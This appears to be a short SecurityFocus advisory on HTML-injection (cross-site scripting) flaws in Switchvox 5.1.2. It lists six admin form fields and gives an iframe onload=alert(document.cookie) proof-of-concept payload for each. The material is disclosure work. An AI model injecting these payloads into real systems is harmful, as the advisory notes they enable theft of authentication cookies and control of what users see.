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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/55739/info

Switchvox is prone to multiple HTML-injection vulnerabilities because the application fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Switchvox 5.1.2 vulnerable; other versions may also be affected. 

Review: Tools -> Sound Manager -> Create sound [Description]
PoC: <iframe src="http://www.vulnerability-lab.com" onload=alert(document.cookie)></iframe>

Review: Tools -> SugarCRM switchboard Panel -> setup [SugarCRM Web URL] [SugarCRM SOAP URL]
PoC: <iframe src="http://www.vulnerability-lab.com" onload=alert(document.cookie)></iframe>

Review: Setup -> Groups -> Create Extension Group [Note]
PoC: <iframe src="http://www.vulnerability-lab.com" onload=alert(document.cookie)></iframe>

Review: Setup -> Outgoing calls -> Create Outgoing Call rule [Note]
PoC: <iframe src="http://www.vulnerability-lab.com" onload=alert(document.cookie)></iframe>

Review: Setup -> Incoming Calls -> Caller DID routes -> Create Single DID Route [Note]
PoC:<iframe src="http://www.vulnerability-lab.com" onload=alert(document.cookie)></iframe>

Review: Setup -> Incoming Calls -> Caller ID Rules -> Create Call transfer Call [Note]
PoC: <iframe src="http://www.vulnerability-lab.com" onload=alert(document.cookie)></iframe>